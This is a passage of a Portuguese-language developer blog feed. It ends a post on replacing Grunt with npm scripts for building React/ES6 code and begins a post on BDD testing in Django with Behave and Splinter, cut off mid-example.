&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Talvez haja a necessidade da execução de um comando mais complexo. Para isso,
podemos utilizar um &lt;em&gt;script&lt;/em&gt; &lt;em&gt;Node&lt;/em&gt; como ajuda:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// build/livereload.js&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; livereload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;livereload&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PATH_CSS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;meuprojeto/build/static/css&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PATH_JS&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;meuprojeto/build/static/js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; server &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; livereload&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createServer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
server&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;watch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;PATH_CSS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;PATH_JS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E o nosso arquivo de configuração ficaria assim:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;livereload&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node buid/livereload&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vale lembrar que o &lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt; já possui alguns comandos padrões, que não necessitam
da instrução &lt;code class=&quot;language-text&quot;&gt;run&lt;/code&gt;. Por exemplo, temos a execução de testes através do comando &lt;code class=&quot;language-text&quot;&gt;npm test&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Um exemplo mais complexo&lt;/h3&gt;
&lt;p&gt;O exemplo acima é simples e questionável. Vamos partir de uma necessidade
mais palpável e complexa: Quero compilar componentes escritos em &lt;em&gt;React&lt;/em&gt; e &lt;em&gt;ES6&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para ilustrar, usaremos as bibliotecas &lt;em&gt;&lt;a href=&quot;https://facebook.github.io/react/&quot; title=&quot;A Javascript library for building UI&quot;&gt;React&lt;/a&gt;&lt;/em&gt;,
&lt;em&gt;&lt;a href=&quot;https://github.com/babel/babelify&quot; title=&quot;Browserify transform for Babel&quot;&gt;Babelify&lt;/a&gt;&lt;/em&gt; e
&lt;em&gt;&lt;a href=&quot;https://github.com/mishoo/UglifyJS2&quot; title=&quot;JavaScript parser / mangler / compressor / beautifier toolkit&quot;&gt;UglifyJS&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ npm install react --save
$ npm install babelify babel-preset-react babel-preset-es2015 uglify-js --save-dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podemos criar dois comandos diferentes na nossa chave &lt;code class=&quot;language-text&quot;&gt;scripts&lt;/code&gt;, um para
&lt;em&gt;transpiling&lt;/em&gt; de &lt;em&gt;Javascript&lt;/em&gt; e outro para minificação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&quot;compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;browserify meuprojeto/js/script.js -o meuprojeto/build/static/js/bundle.js -t [ babelify --presets [ es2015 react ] ]&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&quot;minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;uglifyjs meuprojeto/build/static/js/bundle.js -o meuprojeto/build/static/js/bundle.min.js&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Grande demais? É possível isolar esses comandos em &lt;em&gt;scripts&lt;/em&gt;, como no exemplo do &lt;em&gt;livereload&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&quot;compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/minify-js&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para tornar mais simples a execução, vamos criar uma &lt;em&gt;task&lt;/em&gt; genérica de &lt;em&gt;build&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token string&quot;&gt;&quot;compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm run compile-js &amp;amp;&amp;amp; npm run minify-js&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com uma ajudinha da &lt;em&gt;lib&lt;/em&gt; &lt;em&gt;&lt;a href=&quot;https://www.npmjs.com/package/watch&quot; title=&quot;Utilities for watching file trees&quot;&gt;Watch&lt;/a&gt;&lt;/em&gt;,
podemos incrementar ainda mais o nosso processo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// package.json&lt;/span&gt;

&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/compile-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;node build/minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;build&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm run compile-js &amp;amp;&amp;amp; npm run minify-js&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;watch&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;watch &apos;npm run build&apos; meuprojeto/static/js&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Agora temos os comandos &lt;code class=&quot;language-text&quot;&gt;npm run build&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;npm run watch&lt;/code&gt; que nos ajudarão na demanda
de &quot;transpilar&quot; e minificar componentes escritos em &lt;em&gt;React&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Não foi tããããão difícil assim... Certo? Bastou abrir a documentação de
cada ferramenta e perder alguns minutinhos lendo.&lt;/p&gt;
&lt;p&gt;&quot;Mas você teve que escrever mais linhas que escreveria utilizando um &lt;em&gt;plugin&lt;/em&gt;
do &lt;em&gt;Grunt&lt;/em&gt;.&quot;&lt;/p&gt;
&lt;p&gt;Possivelmente. Bem como é possível que eu nunca mais vá mexer nessas linhas escritas,
uma vez que o processo já esteja montado e operacional.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;O mérito dos exemplos acima não está necessariamente na utilização do &lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt;
como ferramenta de &lt;em&gt;build&lt;/em&gt;, mas sim nos incríveis pacotes que a comunidade
&lt;em&gt;Javascript&lt;/em&gt; tem construído para agilizar a construção de aplicações.&lt;/p&gt;
&lt;p&gt;Ferramentas como o &lt;em&gt;Grunt&lt;/em&gt;, em seu tempo, fizeram uma revolução no que tange o
desenvolvimento de aplicações &lt;em&gt;web&lt;/em&gt; (e não há dúvida que ainda o fazem).
Mas com o advento do &lt;em&gt;webpack&lt;/em&gt;, &lt;em&gt;Browserify&lt;/em&gt; e &lt;em&gt;PostCSS&lt;/em&gt;,
o seu uso passou de essencial para opcional.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://addyosmani.com/blog/prosconsmicroframeworks/&quot;&gt;Addy Osmani: The Pros And Cons Of JavaScript Micro-Frameworks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://engineering.hobsons.com/2015/06/26/build-tools-vs-npm-scripts-why-not-both/&quot;&gt;Hobsons Engineering: Build Tools vs npm Scripts: Why Not Both?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@dabit3/introduction-to-using-npm-as-a-build-tool-b41076f488b0#.hc5o17p1p&quot;&gt;Nader Dabit: Introduction to Using NPM as a Build Tool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@nickheiner/maybe-you-should-stop-using-grunt-40ac57fd6ad9#.cpc7pdvwr&quot;&gt;Nick Heiner: Maybe you should stop using Grunt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.keithcirkel.co.uk/why-we-should-stop-using-grunt/&quot;&gt;Keith Cirkel: Why we should stop using Grunt &amp;#x26; Gulp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://lucasmreis.github.io/blog/npm-is-an-amazing-build-tool/&quot;&gt;Lucas M Reis: NPM is an amazing build tool (And solves 90% of the build issues)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/guide-to-npm-as-a-build-tool/&quot;&gt;Sitepoint: Give Grunt the Boot! A Guide to Using npm as a Build Tool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/28503800/grunt-is-extremely-slow-100-cpu&quot;&gt;Stackoverflow: Grunt is extremely slow - 100% CPU&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/29244671/less-compiling-slow-with-grunt&quot;&gt;Stackoverflow: Less compiling slow with Grunt&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[BDD com Django e Behave]]></title><description><![CDATA[Testar o comportamento da sua aplicação, ao invés de pequenos módulos isolados,
é uma grande prática no que diz respeito a escrita de testes…]]></description><link>https://klauslaube.com.br/2016/02/03/bdd-com-django-e-behave.html</link><guid isPermaLink="false">https://klauslaube.com.br/2016/02/03/bdd-com-django-e-behave.html</guid><pubDate>Wed, 03 Feb 2016 23:50:00 GMT</pubDate><content:encoded>&lt;p&gt;Testar o comportamento da sua aplicação, ao invés de pequenos módulos isolados,
é uma grande prática no que diz respeito a escrita de testes que guiem o
seu desenvolvimento.&lt;/p&gt;
&lt;p&gt;Deixando a polêmica do &quot;&lt;a href=&quot;http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html&quot; title=&quot;TDD is dead. Long live testing.&quot;&gt;TDD is dead&lt;/a&gt;&quot;
de lado, criar cenários que garantem um determinado fluxo, além de servir
como um excelente contrato à sua suite de aceitação, é uma ótima ferramenta
para garantir que a integração &lt;em&gt;back-end/front-end&lt;/em&gt; está funcionando de acordo
com o esperado.&lt;/p&gt;
&lt;p&gt;Devo ser sincero com você, caro leitor: Fazer &lt;a href=&quot;/tag/bdd.html&quot; title=&quot;Leia mais sobre BDD&quot;&gt;&lt;em&gt;BDD&lt;/em&gt;&lt;/a&gt;
com &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; (IMO) sempre foi uma dor de cabeça.
Já utilizei algumas ferramentas, como &lt;a href=&quot;/2011/07/18/ferramentas-de-testes-em-django-parte-1.html&quot;&gt;&lt;em&gt;unittest&lt;/em&gt;&lt;/a&gt;
focado em comportamento, &lt;a href=&quot;/2011/07/18/ferramentas-de-testes-em-django-parte-1.html&quot;&gt;&lt;em&gt;doctests&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;/2011/07/23/ferramentas-de-testes-em-django-parte-2.html&quot;&gt;&lt;em&gt;Lettuce&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;Pycurracy&lt;/em&gt; e até mesmo &lt;em&gt;Jasmine&lt;/em&gt;...
Nada pareceu ser &quot;o certo a se fazer&quot;.&lt;/p&gt;
&lt;p&gt;Recentemente esbarrei com um artigo ensinando a usar o &lt;a href=&quot;http://pythonhosted.org/behave/&quot; title=&quot;BDD for Python&quot;&gt;&lt;em&gt;Behave&lt;/em&gt;&lt;/a&gt;,
um &lt;em&gt;engine&lt;/em&gt; de testes &lt;em&gt;BDD&lt;/em&gt; para &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;...
E foi aí que a minha opinião mudou.&lt;/p&gt;
&lt;h2&gt;Oh, behave!&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Behave&lt;/em&gt; é uma biblioteca &lt;em&gt;Python&lt;/em&gt; que permite a escrita de &lt;em&gt;specs&lt;/em&gt; em linguagem humana,
e a execução dos cenários através de &lt;em&gt;asserts&lt;/em&gt; em &quot;linguagem de programação&quot;. Agnóstico de &lt;em&gt;framework&lt;/em&gt;,
é um &lt;em&gt;engine&lt;/em&gt; promissor, &lt;a href=&quot;http://pythonhosted.org/behave/tutorial.html&quot; title=&quot;Conheça o tutorial do Behave&quot;&gt;fácil de usar&lt;/a&gt;,
e que possui uma boa comunidade dando suporte.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 480px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/bb6cb6691f182c0f762c2544f9a48ceb/7cc5e/oh-behave.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 86.45833333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAARABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMEBQH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAwD/2gAMAwEAAhADEAAAAZM+eXLOWzk4PVxWf//EABsQAAMBAAMBAAAAAAAAAAAAAAABAgMQERMx/9oACAEBAAEFAttLF2JNkzoxxqernhj+/wD/xAAZEQABBQAAAAAAAAAAAAAAAAABAAIQESH/2gAIAQMBAT8BacVif//EABkRAAIDAQAAAAAAAAAAAAAAAAABAhATIf/aAAgBAgEBPwFx6ZUj/8QAHRAAAgIBBQAAAAAAAAAAAAAAAAECIRIQEUFxof/aAAgBAQAGPwLLgsocil6bYx0fYz//xAAbEAEBAQEAAwEAAAAAAAAAAAABEQAhEEFxof/aAAgBAQABPyGVAkyZNtuHppjaW8l5kHDK3sHvN6fvifq3/9oADAMBAAIAAwAAABBH53//xAAYEQADAQEAAAAAAAAAAAAAAAAAARExUf/aAAgBAwEBPxBNUZdHp//EABkRAAIDAQAAAAAAAAAAAAAAAAARASExQf/aAAgBAgEBPxCohptk8MH/xAAeEAEAAwACAgMAAAAAAAAAAAABABEhMUFh8HGBsf/aAAgBAQABPxBq+YGy2tSZwxOdreblNQKNJzc7XhinSsXyQpTe2mPcEBkFAaZ1PR9Th8P4z0PBP//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Austin Powers: Oh behave (flickr.com)&amp;quot;&quot;
        title=&quot;Austin Powers: Oh behave (flickr.com)&quot;
        src=&quot;/static/bb6cb6691f182c0f762c2544f9a48ceb/7cc5e/oh-behave.jpg&quot;
        srcset=&quot;/static/bb6cb6691f182c0f762c2544f9a48ceb/7809d/oh-behave.jpg 192w,
/static/bb6cb6691f182c0f762c2544f9a48ceb/4ecad/oh-behave.jpg 384w,
/static/bb6cb6691f182c0f762c2544f9a48ceb/7cc5e/oh-behave.jpg 480w&quot;
        sizes=&quot;(max-width: 480px) 100vw, 480px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Austin Powers: Oh behave (flickr.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Você pode escrever a integração do &lt;em&gt;lib&lt;/em&gt; com o &lt;em&gt;Django&lt;/em&gt;, como demonstrado na &lt;a href=&quot;http://pythonhosted.org/behave/django.html&quot; title=&quot;Exemplo de integração entre Behave e Django&quot;&gt;documentação oficial&lt;/a&gt;.
Como eu sou preguiçoso, prefiro utilizar o módulo &lt;code class=&quot;language-text&quot;&gt;behave-django&lt;/code&gt;,
criado por &lt;a href=&quot;https://github.com/mixxorz&quot; title=&quot;Perfil do mixxorz no GitHub&quot;&gt;Mitchel Cabuloy&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install behave-django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não podemos esquecer de colocá-lo no &lt;code class=&quot;language-text&quot;&gt;INSTALLED_APPS&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;INSTALLED_APPS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&apos;behave_django&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora basta criar uma estrutura na raíz do seu projeto (no mesmo nível do &lt;code class=&quot;language-text&quot;&gt;manage.py&lt;/code&gt;), com a seguinte formação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;features/
    steps/
        steps.py
    environment.py
    funcionalidade.feature&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos para um exemplo mais prático: &lt;em&gt;Eu quero que minha home exiba meu nome de usuário, caso eu esteja logado&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Começaremos pelo arquivo &lt;code class=&quot;language-text&quot;&gt;.feature&lt;/code&gt;. Vou chamá-lo de &lt;code class=&quot;language-text&quot;&gt;features/home-logada.feature&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Feature: Logged in page

    Scenario: Access index page

        Given an authenticated user
        When I access the home page
        Then I see my username printed&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Já podemos executar o &lt;code class=&quot;language-text&quot;&gt;behave&lt;/code&gt; através do &lt;code class=&quot;language-text&quot;&gt;manage.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python manage.py behave&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Você verá uma saída sinalizando que nosso cenário está montado, mas
que ainda não há testes executando de fato.&lt;/p&gt;
&lt;p&gt;O arquivo de teste pode ter o nome que você desejar, o &lt;em&gt;Behave&lt;/em&gt; olhará
para cada ocorrência dentro de &lt;code class=&quot;language-text&quot;&gt;steps/&lt;/code&gt; e coletará os passos que serão
usados para a execução das especificações.&lt;/p&gt;
&lt;p&gt;Mas antes de escrevermos os testes, vamos falar de uma ferramenta essencial
quando estamos fazendo testes de interface &lt;em&gt;web&lt;/em&gt; com &lt;em&gt;Python&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Splinter&lt;/h2&gt;
&lt;p&gt;Diretamente da &lt;a href=&quot;https://splinter.readthedocs.org/en/latest/&quot; title=&quot;Documentação do Splinter&quot;&gt;documentação oficial&lt;/a&gt; do &lt;em&gt;Splinter&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Splinter is an open source tool for testing web applications using Python. It lets you automate browser actions,
such as visiting URLs and interacting with their items.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A ferramenta fornece uma &lt;em&gt;API&lt;/em&gt; única para diferentes ferramentas de
testes de interface &lt;em&gt;web&lt;/em&gt;, como &lt;em&gt;Selenium&lt;/em&gt;, &lt;em&gt;PhantomJS&lt;/em&gt; e &lt;em&gt;zope.testbrowser&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Conseguimos instalá-la de forma muito fácil, através do comando &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install splinter&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É ele que nos permite, através de sua interface, escrever testes utilizando o driver do
&lt;em&gt;Firefox&lt;/em&gt; (por exemplo), e deixar as &lt;em&gt;tasks&lt;/em&gt; executando em nosso servidor de integração
contínua com um driver &lt;em&gt;headless&lt;/em&gt;, como o &lt;em&gt;PhantomJS&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Django + Behave + Splinter == Epic Win&lt;/h3&gt;
&lt;p&gt;Podemos utilizar o &lt;em&gt;Splinter&lt;/em&gt; juntamente com a mecânica de teste do &lt;em&gt;Behave&lt;/em&gt;.
A maneira mais fácil é através do esquema de configuração da suite,
criando o arquivo &lt;code class=&quot;language-text&quot;&gt;features/environment.py&lt;/code&gt;, com o seguinte conteúdo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; splinter &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Browser


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;before_all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;context&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
